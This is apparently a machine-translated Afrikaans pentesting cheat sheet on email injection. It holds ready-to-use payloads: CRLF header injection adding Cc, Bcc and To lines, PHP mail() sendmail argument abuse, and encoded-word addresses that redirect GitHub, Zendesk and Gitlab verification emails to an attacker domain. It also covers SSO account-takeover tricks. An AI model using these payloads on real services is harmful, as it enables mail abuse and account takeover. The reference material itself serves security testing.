Email Injections

Gebruik Trickest om maklik werkvloei te bou en te automate wat aangedryf word deur die wêreld se mees gevorderde gemeenskapstools. Kry Toegang Vandag:

Inject in gestuurde e-pos

Inject Cc en Bcc na sender argument

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

Die boodskap sal na die ontvanger en ontvanger1 rekeninge gestuur word.

Inject argument

From:sender@domain.com%0ATo:attacker@domain.com

Die boodskap sal na die oorspronklike ontvanger en die aanvaller rekening gestuur word.

Injeksie Onderwerp argument

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

Die vals onderwerp sal by die oorspronklike onderwerp gevoeg word en in sommige gevalle dit vervang. Dit hang af van die e-posdiens se gedrag.

Verander die liggaam van die boodskap

Injek 'n twee-lyn voeding, skryf dan jou boodskap om die liggaam van die boodskap te verander.

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

PHP mail() funksie eksploitering

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

Die 5de parameter ($additional_parameters)

Hierdie afdeling gaan gebaseer wees op hoe om hierdie parameter te misbruik, veronderstel dat 'n aanvaller dit beheer.

Hierdie parameter gaan by die opdraglyn gevoeg word wat PHP gaan gebruik om die binêre sendmail aan te roep. Dit sal egter gesuiwer word met die funksie escapeshellcmd($additional_parameters).

'n Aanvaller kan uittrekparameters vir sendmail inspuit in hierdie geval.

Verskille in die implementering van /usr/sbin/sendmail

sendmail koppelvlak word verskaf deur die MTA e-pos sagteware (Sendmail, Postfix, Exim ens.) wat op die stelsel geïnstalleer is. Alhoewel die basiese funksionaliteit (soos -t -i -f parameters) dieselfde bly vir kompatibiliteitsredes, verskil ander funksies en parameters grootliks, afhangende van die geïnstalleerde MTA.

Hier is 'n paar voorbeelde van verskillende man bladsye van die sendmail opdrag/koppelvlak:

• Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html

• Postfix MTA: http://www.postfix.org/mailq.1.html

• Exim MTA: https://linux.die.net/man/8/eximReferences

Afhangende van die oorsprong van die sendmail binêre is verskillende opsies ontdek om dit te misbruik en leak lêers of selfs arbitrêre opdragte uit te voer. Kyk hoe in https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

Inspuit in die e-pos naam

Geignoreerde dele van 'n e-pos

Die simbole: +, - en {} kan in seldsame gevalle gebruik word vir etikettering en word deur die meeste e-pos bedieners geignoreer

• Byvoorbeeld: john.doe+intigriti@example.com → john.doe@example.com

Kommentaar tussen hakies () aan die begin of die einde sal ook geignoreer word

• Byvoorbeeld: john.doe(intigriti)@example.com → john.doe@example.com

Whitelist omseiling

Aanhalings

IP's

Jy kan ook IP's as domeinnames tussen vierkantige hakies gebruik:

• john.doe@[127.0.0.1]

• john.doe@[IPv6:2001:db8::1]

E-pos Kodering

Soos verduidelik in hierdie navorsing, kan e-posname ook gekodeerde karakters bevat:

• PHP 256 oorgeloop: PHP chr funksie sal voortgaan om 256 by 'n karakter te voeg totdat dit positief word en dan die operasie %256 uitvoer.

• String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @

Verskillende kodering:

# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com

# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding

# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/

Payloads:

• Github: =?x?q?collab=40psres.net=3e=00?=foo@example.com

• Let op die geënkodeerde @ as =40, die geënkodeerde > as =3e en null as =00

• Dit sal die verifikasie-e-pos na collab@psres.net stuur

• Zendesk: "=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com

• Dieselfde truuk as voorheen, maar voeg 'n gewone aanhaling aan die begin by en geënkodeerde aanhaling =22 voor die geënkodeerde @ en dan begin en sluit 'n paar aanhalings voor die volgende e-pos om die sintaksis wat intern deur Zendesk gebruik word, reg te stel

• Dit sal die verifikasie-e-pos na collab@psres.net stuur

• Gitlab: =?x?q?collab=40psres.net_?=foo@example.com

• Let op die gebruik van die onderstreep as 'n spasie om die adres te skei

• Dit sal die verifikasie-e-pos na collab@psres.net stuur

• Punycode: Deur Punycode te gebruik, was dit moontlik om 'n etiket <style in Joomla in te spuit en dit te misbruik om die CSRF-token via CSS-uitvloeiing te steel.

Tooling

• Daar is 'n Burp Suite Turbo Intruder script om hierdie soort kombinasies te fuzz om te probeer om e-posformate aan te val. Die script het reeds potensieel werkende kombinasies.

• Dit is ook moontlik om Hackvertor te gebruik om 'n e-pos splitsing aanval te skep

Other vulns

Third party SSO

XSS

Sommige dienste soos github of salesforce laat jou toe om 'n e-posadres met XSS payloads daarop te skep. As jy hierdie verskaffers kan gebruik om in te log op ander dienste en hierdie dienste nie sanitiseer die e-pos nie, kan jy XSS veroorsaak.

Account-Takeover

As 'n SSO-diens jou toelaat om 'n rekening te skep sonder om die gegewe e-posadres te verifieer (soos salesforce) en dan kan jy daardie rekening gebruik om in te log in 'n ander diens wat vertrou op salesforce, kan jy toegang tot enige rekening verkry. Nota dat salesforce aandui of die gegewe e-pos geverifieer was of nie, maar die toepassing moet ook hierdie inligting in ag neem.

Reply-To

Jy kan 'n e-pos stuur met From: company.com en Replay-To: attacker.com en as enige outomatiese antwoord gestuur word omdat die e-pos van 'n interne adres gestuur is, mag die aanvaller in staat wees om daardie antwoord te ontvang.

Hard Bounce Rate

Sekere dienste, soos AWS, implementeer 'n drempel bekend as die Hard Bounce Rate, wat tipies op 10% gestel is. Dit is 'n kritieke maatstaf, veral vir e-posafleweringsdienste. Wanneer hierdie koers oorskry word, kan die diens, soos AWS se e-posdiens, opgeskort of geblokkeer word.

'n hard bounce verwys na 'n e-pos wat aan die sender teruggestuur is omdat die ontvanger se adres ongeldig of nie-bestaande is. Dit kan om verskeie redes gebeur, soos die e-pos wat na 'n nie-bestaande adres gestuur word, 'n domein wat nie werklik is nie, of die ontvanger se bediener se weiering om e-posse te aanvaar.

In die konteks van AWS, as jy 1000 e-posse stuur en 100 daarvan lei tot hard bounces (as gevolg van redes soos ongeldig adres of domeine), beteken dit 'n 10% hard bounce koers. Om hierdie koers te bereik of te oorskry kan AWS SES (Simple Email Service) laat blokkeer of jou e-pos stuur vermoëns opskort.

Dit is van kardinale belang om 'n lae hard bounce koers te handhaaf om ononderbroke e-posdiens te verseker en sender reputasie te handhaaf. Monitering en bestuur van die kwaliteit van die e-posadresse in jou poslyste kan aansienlik help om dit te bereik.

Vir meer gedetailleerde inligting kan AWS se amptelike dokumentasie oor die hantering van bounces en klagtes geraadpleeg word AWS SES Bounce Handling.

References

• https://resources.infosecinstitute.com/email-injection/

• https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

• https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view

• https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today: